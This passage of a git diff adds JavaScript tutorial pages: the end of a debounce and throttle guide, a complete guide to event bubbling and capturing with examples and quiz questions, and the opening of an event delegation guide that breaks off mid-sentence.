SearchComponent { + constructor() { + this.query = '' + } + + handleInput = debounce(() => { + console.log(this.query) // Works, but... + }, 300) +} + +// ❌ WRONG: Method loses `this` when passed as callback +class SearchComponent { + handleInput() { + console.log(this.query) // `this` is undefined! + } +} +const component = new SearchComponent() +input.addEventListener('input', debounce(component.handleInput, 300)) + +// ✓ CORRECT: Bind the method +input.addEventListener('input', debounce(component.handleInput.bind(component), 300)) + +// ✓ ALSO CORRECT: Wrap in arrow function +input.addEventListener('input', debounce((e) => component.handleInput(e), 300)) +``` + +### Mistake 5: Choosing the Wrong Delay + +```javascript +// ❌ TOO SHORT: Defeats the purpose +debounce(search, 50) // Still makes many API calls + +// ❌ TOO LONG: Feels unresponsive +debounce(search, 1000) // User waits 1 second for results + +// ✓ GOOD: Balance between responsiveness and efficiency +debounce(search, 250) // 250-400ms is typical for search +throttle(scroll, 100) // 100-150ms for scroll (smooth but efficient) +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **Debounce waits for silence** — It delays execution until events stop coming for a specified duration. Use it when you only care about the final value. + +2. **Throttle maintains rhythm** — It ensures execution happens at most once per interval, even during continuous events. Use it when you need regular updates. + +3. **Leading vs trailing** — Leading executes immediately on first call; trailing executes after the delay. You can use both for maximum responsiveness. + +4. **Use Lodash in production** — Battle-tested implementations with TypeScript types, cancel methods, and edge case handling. + +5. **Create debounced/throttled functions once** — Don't create them inside event handlers or render functions. + +6. **Always clean up** — Cancel pending executions and remove event listeners when components unmount. + +7. **requestAnimationFrame for animations** — For visual updates, rAF syncs with the browser's repaint cycle for smoother results. + +8. **Choose the right delay** — 250-400ms for search/typing, 100-150ms for scroll/resize, 16ms for animations. + +9. **Closures make it work** — Both techniques use closures to maintain state (timers, timestamps) between function calls. + +10. **Test your implementation** — Verify the behavior matches your expectations, especially edge cases like rapid bursts and cleanup. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What's the key difference between debounce and throttle?"> + **Answer:** + + - **Debounce** waits for a pause in events before executing. The function only runs once after events stop coming for the specified delay. + + - **Throttle** executes at regular intervals during continuous events. It guarantees the function runs at most once per specified interval, providing regular updates. + + **Example:** If events fire continuously for 1 second: + - Debounce (300ms): 1 execution (after events stop + 300ms) + - Throttle (100ms): ~10 executions (every 100ms) + </Accordion> + + <Accordion title="Question 2: When would you use leading edge debounce?"> + **Answer:** + + Leading edge debounce executes immediately on the first call, then ignores subsequent calls until the delay expires. Use it when: + + 1. **Preventing double-clicks** — Submit form on first click, ignore rapid additional clicks + 2. **Immediate feedback** — Show something instantly, but don't repeat + 3. **First interaction matters** — Track first button press, not every press + + ```javascript + const preventDoubleClick = debounce(submitForm, 1000, { + leading: true, + trailing: false + }) + ``` + </Accordion> + + <Accordion title="Question 3: Why shouldn't you create debounced functions inside event handlers?"> + **Answer:** + + Creating a debounced function inside an event handler creates a **new function every time the event fires**. Each new function has its own separate timer, so debouncing never actually works: + + ```javascript + // ❌ WRONG - new debounced function each time + input.addEventListener('input', (e) => { + debounce(search, 300)(e.target.value) + // Timer 1, Timer 2, Timer 3... none wait for each other + }) + + // ✓ CORRECT - same debounced function reused + const debouncedSearch = debounce(search, 300) + input.addEventListener('input', (e) => { + debouncedSearch(e.target.value) + // Same timer gets reset each time + }) + ``` + </Accordion> + + <Accordion title="Question 4: What is Lodash's maxWait option?"> + **Answer:** + + The `maxWait` option sets a maximum time a debounced function can be delayed. Even if events keep coming, the function will execute after `maxWait` milliseconds. + + ```javascript + const debouncedSearch = debounce(search, 300, { + maxWait: 2000 // Force execution after 2 seconds + }) + ``` + + This is useful for long typing sessions — you still get the debounce behavior, but users see results at least every 2 seconds. It's essentially debounce + throttle combined. + + Fun fact: Lodash's `throttle` is implemented using `debounce` with `maxWait` equal to the wait time! + </Accordion> + + <Accordion title="Question 5: When should you use requestAnimationFrame instead of throttle?"> + **Answer:** + + Use `requestAnimationFrame` when you're doing **visual updates** that need to sync with the browser's repaint cycle: + + - Scroll-linked animations + - Parallax effects + - Canvas/WebGL rendering + - DOM element transformations + + ```javascript + // rAF syncs with 60fps refresh rate + const throttledWithRAF = (fn) => { + let ticking = false + return (...args) => { + if (!ticking) { + requestAnimationFrame(() => { + fn(...args) + ticking = false + }) + ticking = true + } + } + } + ``` + + Use throttle for non-visual tasks: API calls, analytics tracking, loading content, validation. + </Accordion> + + <Accordion title="Question 6: How do closures enable debounce and throttle?"> + **Answer:** + + Both debounce and throttle are **higher-order functions** that return a new function. The returned function uses **closures** to remember state between calls: + + ```javascript + function debounce(fn, delay) { + let timeoutId // ← Closure variable, persists between calls + + return function(...args) { + clearTimeout(timeoutId) + timeoutId = setTimeout(() => fn.apply(this, args), delay) + // timeoutId is remembered from the previous call + } + } + ``` + + The closure allows the returned function to: + - Remember the `timeoutId` from previous calls (to clear it) + - Track `lastTime` for throttle calculations + - Store pending `args` and `this` context + + Without closures, each call would have no memory of previous calls. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Scope & Closures" icon="lock" href="/concepts/scope-and-closures"> + Understand how closures enable debounce and throttle to maintain state between calls + </Card> + <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> + Learn about functions that return functions — the pattern both techniques use + </Card> + <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> + Understand how setTimeout and browser events are scheduled and processed + </Card> + <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> + The foundation for understanding how debounce and throttle wrap other functions + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Debounce — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Debounce"> + Official MDN definition with explanation of leading and trailing edges + </Card> + <Card title="Throttle — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Throttle"> + Official MDN definition with scroll handler examples + </Card> + <Card title="setTimeout — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/setTimeout"> + The timer API that powers debounce implementations + </Card> + <Card title="requestAnimationFrame — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame"> + Browser API for syncing with the repaint cycle — an alternative to throttle for animations + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="Debouncing and Throttling Explained" icon="newspaper" href="https://css-tricks.com/debouncing-throttling-explained-examples/"> + CSS-Tricks' comprehensive guide with interactive CodePen demos. The visual examples make timing differences crystal clear. + </Card> + <Card title="Lodash Debounce Documentation" icon="newspaper" href="https://lodash.com/docs/#debounce"> + Official Lodash docs for _.debounce with all options explained. Production-ready implementation details. + </Card> + <Card title="Lodash Throttle Documentation" icon="newspaper" href="https://lodash.com/docs/#throttle"> + Official Lodash docs for _.throttle. Shows how throttle is built on top of debounce with maxWait. + </Card> + <Card title="JavaScript Debounce Function — David Walsh" icon="newspaper" href="https://davidwalsh.name/javascript-debounce-function"> + Classic article with a simple debounce implementation. Good for understanding the core logic. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="Debounce & Throttle — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=cjIswDCKgu0"> + Kyle Cook explains both concepts with clear visualizations and practical examples. Great for visual learners. + </Card> + <Card title="JavaScript Debounce in 100 Seconds" icon="video" href="https://www.youtube.com/watch?v=cMq6z5SH8s0"> + Fireship's ultra-concise explanation of debounce. Perfect quick refresher. + </Card> + <Card title="Debouncing and Throttling — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=UlCHvTt0XLs"> + MPJ's entertaining deep dive with real-world examples and implementation from scratch. + </Card> + <Card title="React Debounce Tutorial" icon="video" href="https://www.youtube.com/watch?v=G9aOoZJvPDY"> + Learn how to properly use debounce in React with hooks, including cleanup patterns. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/event-bubbling-capturing.mdx b/docs/beyond/concepts/event-bubbling-capturing.mdx new file mode 100644 index 00000000..a423b8a1 --- /dev/null +++ b/docs/beyond/concepts/event-bubbling-capturing.mdx @@ -0,0 +1,743 @@ +--- +title: "Event Bubbling & Capturing: Event Propagation in JavaScript" +sidebarTitle: "Event Bubbling & Capturing" +description: "Learn event bubbling and capturing in JavaScript. Understand the three phases of event propagation, stopPropagation, and when to use capturing vs bubbling." +--- + +You click a button inside a `<div>`, but both the button's handler AND the div's handler fire. Why? Or you add a click listener to a parent element, and it somehow catches clicks on all its children. How does that work? + +The answer lies in **event propagation** — the way events travel through the DOM tree. Understanding this unlocks powerful patterns like [event delegation](/beyond/concepts/event-delegation) and helps you avoid frustrating bugs. + +```javascript +// Click a button nested inside a div +document.querySelector('.parent').addEventListener('click', () => { + console.log('Parent clicked!') // This fires too! +}) + +document.querySelector('.child-button').addEventListener('click', () => { + console.log('Button clicked!') // This fires first +}) + +// Click the button → Output: +// "Button clicked!" +// "Parent clicked!" — Wait, I only clicked the button! +``` + +This happens because of **event bubbling** — one of the three phases every DOM event goes through. + +<Info> +**What you'll learn in this guide:** +- The three phases of event propagation (capturing, target, bubbling) +- Why events "bubble up" to parent elements +- How to listen during the capturing phase with `addEventListener` +- The difference between `stopPropagation()` and `stopImmediatePropagation()` +- Which events don't bubble and their alternatives +- When capturing is actually useful (it's rare, but important) +- Common mistakes that break event handling +</Info> + +<Warning> +**Prerequisite:** This guide assumes you're comfortable with basic [DOM manipulation](/concepts/dom) and event listeners. If `addEventListener` is new to you, read that guide first! +</Warning> + +--- + +## What is Event Propagation? + +**Event propagation** is the process by which an event travels through the DOM tree when triggered on an element. Instead of the event only affecting the element you clicked, it travels through the element's ancestors in a specific order, giving each one a chance to respond. + +Every DOM event goes through **three phases**: + +1. **Capturing phase** — The event travels DOWN from `window` to the target element +2. **Target phase** — The event arrives at the element that triggered it +3. **Bubbling phase** — The event travels UP from the target back to `window` + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE THREE PHASES OF EVENT PROPAGATION │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ PHASE 1: CAPTURING PHASE 3: BUBBLING │ +│ (Top → Down) (Bottom → Up) │ +│ │ +│ window window │ +│ ↓ ↑ │ +│ document document │ +│ ↓ ↑ │ +│ <html> <html> │ +│ ↓ ↑ │ +│ <body> <body> │ +│ ↓ ↑ │ +│ <div> <div> │ +│ ↓ ↑ │ +│ <button> ←── PHASE 2: TARGET ──→ <button> │ +│ │ +│ Handlers with Handlers with │ +│ capture: true capture: false (default) │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +By default, event listeners fire during the **bubbling phase** (Phase 3). That's why when you click a button, the button's handler fires first, then its parent's handler, then its grandparent's, and so on up to `window`. + +<CardGroup cols={2}> + <Card title="Event bubbling — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/Event_bubbling"> + Official MDN guide covering bubbling, capturing, and delegation with interactive examples. + </Card> + <Card title="EventTarget.addEventListener() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener"> + Complete reference for addEventListener including the capture option and all parameters. + </Card> +</CardGroup> + +--- + +## The Restaurant Analogy + +Think of event propagation like an announcement traveling through a restaurant: + +**Capturing phase:** The manager walks from the entrance, through the dining room, past each table, until reaching your table to deliver a message. Every employee along the way hears it first. + +**Target phase:** The message reaches you directly. + +**Bubbling phase:** After you receive it, anyone who was listening nearby (your table, then nearby tables, then the whole dining room) can also respond — but in reverse order, starting with the closest. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ EVENT PROPAGATION IN A RESTAURANT │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ENTRANCE (window) │ +│ │ │ +│ ↓ ─── Capturing ────────────────────────────────┐ │ +│ DINING ROOM (document) │ │ +│ │ │ │ +│ ↓ │ │ +│ SECTION A (parent div) │ │ +│ │ │ │ +│ ↓ │ │ +│ YOUR TABLE (button) ◄── TARGET ──► │ │ +│ │ │ │ +│ ↑ │ │ +│ SECTION A ─── Bubbling ─────────────────────────────┘ │ +│ ↑ │ +│ DINING ROOM │ +│ ↑ │ +│ ENTRANCE │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +Most of the time, you only care about the bubbling phase. But knowing about capturing helps you understand why events behave the way they do. + +--- + +## Event Bubbling in Action + +Let's see bubbling with a concrete example. We'll create nested elements and add click handlers to each: + +```javascript +// HTML: <div class="grandparent"> +// <div class="parent"> +// <button class="child">Click me</button> +// </div> +// </div> + +document.querySelector('.grandparent').addEventListener('click', () => { + console.log('Grandparent clicked') +}) + +document.querySelector('.parent').addEventListener('click', () => { + console.log('Parent clicked') +}) + +document.querySelector('.child').addEventListener('click', () => { + console.log('Child clicked') +}) + +// Click the button → Output: +// "Child clicked" +// "Parent clicked" +// "Grandparent clicked" +``` + +The event starts at the button (the target), then bubbles up through each ancestor. This is the default behavior for most events. + +### Why Bubbling is Useful + +Bubbling enables **event delegation** — attaching a single listener to a parent element instead of individual listeners on many children: + +```javascript +// ❌ INEFFICIENT - Listener on every button +document.querySelectorAll('.btn').forEach(btn => { + btn.addEventListener('click', handleClick) +}) + +// ✓ EFFICIENT - One listener on the parent +document.querySelector('.button-container').addEventListener('click', (e) => { + // e.target is the element that was actually clicked + if (e.target.matches('.btn')) { + handleClick(e) + } +}) +``` + +This pattern works because clicks on buttons bubble up to the container. Learn more in our [Event Delegation](/beyond/concepts/event-delegation) guide. + +--- + +## Listening During the Capturing Phase + +By default, `addEventListener` listens during bubbling. To listen during **capturing** (when the event travels DOWN), pass `{ capture: true }` or just `true` as the third argument: + +```javascript +// Listen during BUBBLING (default) +element.addEventListener('click', handler) +element.addEventListener('click', handler, false) +element.addEventListener('click', handler, { capture: false }) + +// Listen during CAPTURING +element.addEventListener('click', handler, true) +element.addEventListener('click', handler, { capture: true }) +``` + +Here's what changes when you use capturing: + +```javascript +document.querySelector('.parent').addEventListener('click', () => { + console.log('Parent - capturing') +}, true) // ← capture: true + +document.querySelector('.child').addEventListener('click', () => { + console.log('Child - target') +}) + +document.querySelector('.parent').addEventListener('click', () => { + console.log('Parent - bubbling') +}) // ← capture: false (default) + +// Click the child → Output: +// "Parent - capturing" ← Fires FIRST (on the way down) +// "Child - target" +// "Parent - bubbling" ← Fires LAST (on the way up) +``` + +<Tip> +**When is capturing useful?** Capturing is rarely needed, but it's essential when you need to intercept an event before it reaches the target — like implementing a global "cancel" mechanism or logging all clicks before any handler runs. +</Tip> + +--- + +## The `eventPhase` Property + +You can check which phase an event is in using the [`event.eventPhase`](https://developer.mozilla.org/en-US/docs/Web/API/Event/eventPhase) property: + +```javascript +element.addEventListener('click', (event) => { + console.log(event.eventPhase) + // 1 = CAPTURING_PHASE + // 2 = AT_TARGET + // 3 = BUBBLING_PHASE +}) +``` + +| Value | Constant | Meaning | +|-------|----------|---------| +| 0 | `Event.NONE` | Event is not being processed | +| 1 | `Event.CAPTURING_PHASE` | Event is traveling down to target | +| 2 | `Event.AT_TARGET` | Event is at the target element | +| 3 | `Event.BUBBLING_PHASE` | Event is bubbling up from target | + +```javascript +document.querySelector('.parent').addEventListener('click', (e) => { + const phases = ['NONE', 'CAPTURING', 'AT_TARGET', 'BUBBLING'] + console.log(`Phase: ${phases[e.eventPhase]}`) +}, true) + +document.querySelector('.parent').addEventListener('click', (e) => { + const phases = ['NONE', 'CAPTURING', 'AT_TARGET', 'BUBBLING'] + console.log(`Phase: ${phases[e.eventPhase]}`) +}) + +// Click the parent directly → Output: +// "Phase: AT_TARGET" +// "Phase: AT_TARGET" +// (Both fire at target phase when clicking the element directly) + +// Click a child element → Output: +// "Phase: CAPTURING" +// "Phase: BUBBLING" +``` + +--- + +## `event.target` vs `event.currentTarget` + +When events bubble, you need to distinguish between: + +- **`event.target`** — The element that **triggered** the event (what was actually clicked) +- **`event.currentTarget`** — The element that **has the listener** (where the handler is attached) + +```javascript +document.querySelector('.parent').addEventListener('click', (e) => { + console.log('target:', e.target.className) // What was clicked + console.log('currentTarget:', e.currentTarget.className) // Where listener is +}) + +// Click on a child button with class "child" +// target: "child" ← The button you clicked +// currentTarget: "parent" ← The element with the listener +``` + +This distinction is crucial for event delegation: + +```javascript +// Event delegation pattern +document.querySelector('.list').addEventListener('click', (e) => { + // e.target might be the <li>, <span>, or any child + // e.currentTarget is always .list + + // Find the list item (even if user clicked a child) + const listItem = e.target.closest('li') + if (listItem) { + console.log('Clicked item:', listItem.textContent) + } +}) +``` + +--- + +## Stopping Event Propagation + +Sometimes you need to stop an event from traveling further. JavaScript provides two methods: + +### `stopPropagation()` + +[`event.stopPropagation()`](https://developer.mozilla.org/en-US/docs/Web/API/Event/stopPropagation) stops the event from traveling to other elements, but **other handlers on the current element still run**: + +```javascript +document.querySelector('.parent').addEventListener('click', () => { + console.log('Parent handler') // This WON'T fire +}) + +document.querySelector('.child').addEventListener('click', (e) => { + console.log('Child handler 1') + e.stopPropagation() // Stop bubbling here +}) + +document.querySelector('.child').addEventListener('click', () => { + console.log('Child handler 2') // This STILL fires +}) + +// Click child → Output: +// "Child handler 1" +// "Child handler 2" ← Still runs (same element) +// (Parent handler never fires) +``` + +### `stopImmediatePropagation()` + +[`event.stopImmediatePropagation()`](https://developer.mozilla.org/en-US/docs/Web/API/Event/stopImmediatePropagation) stops the event AND prevents other handlers on the same element from running: + +```javascript +document.querySelector('.child').addEventListener('click', (e) => { + console.log('Child handler 1') + e.stopImmediatePropagation() // Stop everything +}) + +document.querySelector('.child').addEventListener('click', () => { + console.log('Child handler 2') // This WON'T fire +}) + +// Click child → Output: +// "Child handler 1" +// (Nothing else runs) +``` + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ stopPropagation vs stopImmediatePropagation │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ stopPropagation() stopImmediatePropagation() │ +│ ───────────────── ────────────────────────── │ +│ │ +│ ✓ Stops bubbling/capturing ✓ Stops bubbling/capturing │ +│ ✓ Other handlers on SAME ✗ Other handlers on SAME │ +│ element still run element DON'T run │ +│ │ +│ Use when: You want to stop Use when: You want to completely │ +│ propagation but allow other cancel all further event handling │ +│ handlers on this element │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +<Warning> +**Use sparingly!** Stopping propagation breaks event delegation and can cause confusing bugs. Analytics tools, modals, and dropdowns often rely on document-level click handlers. When you stop propagation, those stop working. Usually there's a better solution. +</Warning> + +--- + +## `stopPropagation()` vs `preventDefault()` + +Don't confuse propagation with default behavior: + +| Method | What it does | Example | +|--------|--------------|---------| +| `stopPropagation()` | Stops event from reaching other elements | Parent's click handler won't fire | +| `preventDefault()` | Stops the browser's default action | Link won't navigate, form won't submit | + +```javascript +// They do different things! +link.addEventListener('click', (e) => { + e.preventDefault() // Link won't navigate + // But event STILL bubbles to parent! +}) + +link.addEventListener('click', (e) => { + e.stopPropagation() // Parent handlers won't fire + // But link STILL navigates! +}) + +link.addEventListener('click', (e) => { + e.preventDefault() // Don't navigate + e.stopPropagation() // Don't bubble + // Now it does neither +}) +``` + +--- + +## Events That Don't Bubble + +Most events bubble, but some don't. Here are the common ones: + +| Event | Bubbles? | Bubbling Alternative | +|-------|----------|---------------------| +| `click`, `mousedown`, `keydown` | Yes | — | +| `focus` | No | `focusin` | +| `blur` | No | `focusout` | +| `mouseenter` | No | `mouseover` | +| `mouseleave` | No | `mouseout` | +| `load`, `unload`, `scroll` | No | — | +| `resize` | No | — | + +If you need delegation for non-bubbling events, use their bubbling alternatives: + +```javascript +// ❌ WON'T WORK - focus doesn't bubble +form.addEventListener('focus', (e) => { + console.log('Something focused:', e.target) +}) + +// ✓ WORKS - focusin bubbles +form.addEventListener('focusin', (e) => { + console.log('Something focused:', e.target) +}) +``` + +```javascript +// ❌ WON'T WORK - mouseenter doesn't bubble +container.addEventListener('mouseenter', (e) => { + console.log('Mouse entered:', e.target) +}) + +// ✓ WORKS - mouseover bubbles (but fires more often) +container.addEventListener('mouseover', (e) => { + console.log('Mouse over:', e.target) +}) +``` + +<Tip> +**Quick check:** You can verify if an event bubbles by checking `event.bubbles`: +```javascript +element.addEventListener('focus', (e) => { + console.log(e.bubbles) // false +}) +``` +</Tip> + +--- + +## When to Use Capturing + +Capturing is rarely needed, but here are legitimate use cases: + +### 1. Intercepting Events Before They Reach Target + +```javascript +// Log every click before any handler runs +document.addEventListener('click', (e) => { + console.log('Click detected on:', e.target) +}, true) // Capture phase - fires first +``` + +### 2. Implementing "Cancel All Clicks" Functionality + +```javascript +let disableClicks = false + +document.addEventListener('click', (e) => { + if (disableClicks) { + e.stopPropagation() + console.log('Click blocked!') + } +}, true) // Must use capture to intercept before target +``` + +### 3. Handling Events on Disabled Elements + +Some browsers don't fire events on disabled form elements, but capturing on a parent can catch them: + +```javascript +form.addEventListener('click', (e) => { + if (e.target.disabled) { + console.log('Clicked disabled element') + } +}, true) +``` + +--- + +## Common Mistakes + +<AccordionGroup> + <Accordion title="Forgetting capture when removing listeners"> + If you added a listener with `capture: true`, you must remove it the same way: + + ```javascript + // Adding with capture + element.addEventListener('click', handler, true) + + // ❌ WRONG - Won't remove the listener + element.removeEventListener('click', handler) + + // ✓ CORRECT - Must match capture setting + element.removeEventListener('click', handler, true) + ``` + </Accordion> + + <Accordion title="Breaking event delegation with stopPropagation"> + Stopping propagation can break other code that relies on bubbling: + + ```javascript + // Some library sets up a document click handler for modals + document.addEventListener('click', closeAllModals) + + // Your code stops propagation + button.addEventListener('click', (e) => { + e.stopPropagation() // Now modals never close! + doSomething() + }) + + // ✓ Better: Check if you need to stop, or use a different approach + button.addEventListener('click', (e) => { + doSomething() + // Don't stop propagation unless absolutely necessary + }) + ``` + </Accordion> + + <Accordion title="Confusing target and currentTarget"> + Using the wrong property leads to bugs in delegated handlers: + + ```javascript + // ❌ WRONG - target might be a child element + list.addEventListener('click', (e) => { + e.target.classList.add('selected') // Might select a <span> inside <li> + }) + + // ✓ CORRECT - Find the actual list item + list.addEventListener('click', (e) => { + const item = e.target.closest('li') + if (item) { + item.classList.add('selected') + } + }) + ``` + </Accordion> + + <Accordion title="Using non-bubbling events for delegation"> + Some events don't bubble, so delegation won't work: + + ```javascript + // ❌ WRONG - focus doesn't bubble + form.addEventListener('focus', highlightField) + + // ✓ CORRECT - Use the bubbling version + form.addEventListener('focusin', highlightField) + ``` + </Accordion> +</AccordionGroup> + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **Events travel in three phases** — Capturing (down), target (at element), bubbling (up). Most handlers fire during bubbling. + +2. **Bubbling is the default** — When you click a child, parent handlers fire too. This enables event delegation. + +3. **Use `{ capture: true }` for capturing** — Add as third argument to `addEventListener` to catch events on the way down. + +4. **`target` vs `currentTarget`** — `target` is what was clicked, `currentTarget` is where the handler lives. + +5. **`stopPropagation()` stops travel** — Prevents the event from reaching other elements, but other handlers on the same element still run. + +6. **`stopImmediatePropagation()` stops everything** — Prevents all further handling, even on the same element. + +7. **Don't confuse with `preventDefault()`** — That stops browser default actions (link navigation, form submission), not propagation. + +8. **Some events don't bubble** — `focus`, `blur`, `mouseenter`, `mouseleave`. Use their bubbling alternatives for delegation. + +9. **Use `stopPropagation()` sparingly** — It breaks event delegation and can cause hard-to-debug issues. + +10. **Remember capture when removing listeners** — `removeEventListener` must match the capture setting used in `addEventListener`. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="What are the three phases of event propagation?"> + **Answer:** + + 1. **Capturing phase** — Event travels from `window` down through ancestors to the target element + 2. **Target phase** — Event is at the element that triggered it + 3. **Bubbling phase** — Event travels from target back up through ancestors to `window` + + By default, event listeners fire during the bubbling phase. + </Accordion> + + <Accordion title="How do you make an event listener fire during the capturing phase?"> + **Answer:** + + Pass `true` or `{ capture: true }` as the third argument to `addEventListener`: + + ```javascript + element.addEventListener('click', handler, true) + // or + element.addEventListener('click', handler, { capture: true }) + ``` + </Accordion> + + <Accordion title="What's the difference between event.target and event.currentTarget?"> + **Answer:** + + - `event.target` — The element that **triggered** the event (what the user actually clicked) + - `event.currentTarget` — The element that **has the event listener** attached + + They're the same when you click directly on an element with a listener, but different when events bubble up from children. + </Accordion> + + <Accordion title="What's the difference between stopPropagation() and stopImmediatePropagation()?"> + **Answer:** + + - `stopPropagation()` — Stops the event from reaching other elements, but other handlers on the **same element** still run + - `stopImmediatePropagation()` — Stops everything, including other handlers on the same element + + ```javascript + // With stopPropagation, both child handlers run + // With stopImmediatePropagation, only the first child handler runs + ``` + </Accordion> + + <Accordion title="Why doesn't this event delegation work with 'focus' events?"> + **Answer:** + + The `focus` event doesn't bubble! For delegation with focus events, use `focusin` instead: + + ```javascript + // ❌ Won't work - focus doesn't bubble + form.addEventListener('focus', handler) + + // ✓ Works - focusin bubbles + form.addEventListener('focusin', handler) + ``` + </Accordion> + + <Accordion title="What happens if you add a listener with capture:true but remove it without specifying capture?"> + **Answer:** + + The listener won't be removed! You must match the capture setting: + + ```javascript + element.addEventListener('click', handler, true) + element.removeEventListener('click', handler) // ❌ Doesn't remove + element.removeEventListener('click', handler, true) // ✓ Removes correctly + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Event Delegation" icon="sitemap" href="/beyond/concepts/event-delegation"> + Use bubbling to handle events efficiently with one listener on a parent element. + </Card> + <Card title="Custom Events" icon="bolt" href="/beyond/concepts/custom-events"> + Create your own events that bubble through the DOM like native events. + </Card> + <Card title="DOM" icon="code" href="/concepts/dom"> + The fundamentals of DOM manipulation and event handling in JavaScript. + </Card> + <Card title="Scope and Closures" icon="layer-group" href="/concepts/scope-and-closures"> + How closures help preserve context in event handler callbacks. + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Event bubbling — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/Event_bubbling"> + Official MDN learning guide covering bubbling, capturing, and event delegation with interactive examples. + </Card> + <Card title="addEventListener() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener"> + Complete reference for addEventListener including the capture option, passive listeners, and signal for cleanup. + </Card> + <Card title="Event.stopPropagation() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Event/stopPropagation"> + Documentation on stopping event propagation during capturing and bubbling phases. + </Card> + <Card title="Event.eventPhase — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Event/eventPhase"> + Reference for the eventPhase property and the constants for each propagation phase. + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="Bubbling and Capturing — javascript.info" icon="newspaper" href="https://javascript.info/bubbling-and-capturing"> + The definitive tutorial on event propagation with interactive examples and visual diagrams. Covers the "almost all events bubble" edge cases that trip people up. + </Card> + <Card title="Event Propagation Explained — web.dev" icon="newspaper" href="https://web.dev/articles/eventing-deepdive"> + Google's deep dive into event propagation with performance considerations and best practices for modern web development. + </Card> + <Card title="Event order — QuirksMode" icon="newspaper" href="https://www.quirksmode.org/js/events_order.html"> + Peter-Paul Koch's classic article on event order that helped standardize how browsers handle propagation. Historical context meets practical wisdom. + </Card> + <Card title="Stop Propagation Considered Harmful — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/dangers-stopping-event-propagation/"> + Philip Walton explains why stopping propagation often causes more problems than it solves, with real-world examples of bugs it creates. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="Event Bubbling and Capturing — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=XF1_MlZ5l6M"> + Clear, beginner-friendly explanation with visual demonstrations of how events travel through the DOM tree. + </Card> + <Card title="JavaScript Event Propagation — Fireship" icon="video" href="https://www.youtube.com/watch?v=Q6HAJ6bz7bY"> + Quick, engaging overview of bubbling and capturing with practical code examples you can follow along with. + </Card> + <Card title="DOM Events Deep Dive — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=wK2cBMcDTss"> + Comprehensive crash course covering event propagation, delegation, and common patterns used in production applications. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/event-delegation.mdx b/docs/beyond/concepts/event-delegation.mdx new file mode 100644 index 00000000..dc641014 --- /dev/null +++ b/docs/beyond/concepts/event-delegation.mdx @@ -0,0 +1,888 @@ +--- +title: "Event Delegation: Handle Events Efficiently in JavaScript" +sidebarTitle: "Event Delegation" +description: "Learn event delegation in JavaScript. Handle events efficiently using bubbling, manage dynamic elements, reduce memory usage, and implement common patterns." +--- + +How do you handle click events on a list that could have 10, 100, or 1,000 items? What about elements that don't even exist yet — dynamically added after the page loads? If you're adding individual event listeners to each element, you're working too hard and using too much memory. + +```javascript +// The problem: Adding listeners to every item doesn't scale +// ❌ This approach has issues +document.querySelectorAll('.todo-item').forEach(item => { + item.addEventListener('click', handleClick) +}) +// What about items added later? They won't have listeners! + +// The solution: Event delegation +// ✅ One listener handles all items, including future ones +document.querySelector('.todo-list').addEventListener('click', (event) => { + if (event.target.matches('.todo-item')) { + handleClick(event) + } +}) +``` + +**Event delegation** is a technique that leverages [event bubbling](/beyond/concepts/event-bubbling-capturing) to handle events at a higher level in the DOM than the element where the event originated. Instead of attaching listeners to multiple child elements, you attach a single listener to a parent element and use `event.target` to determine which child triggered the event. + +<Info> +**What you'll learn in this guide:** +- What event delegation is and how it works +- The difference between `event.target` and `event.currentTarget` +- How to use `matches()` and `closest()` for element filtering +- Handling events on dynamically added elements +- Performance benefits of delegation +- Common delegation patterns for lists, tables, and menus +- When NOT to use event delegation +</Info> + +<Warning> +**Prerequisite:** This guide assumes you understand [event bubbling and capturing](/beyond/concepts/event-bubbling-capturing). Event delegation relies on bubbling — the mechanism where events "bubble up" from child elements to their ancestors. +</Warning> + +--- + +## What is Event Delegation? + +**Event 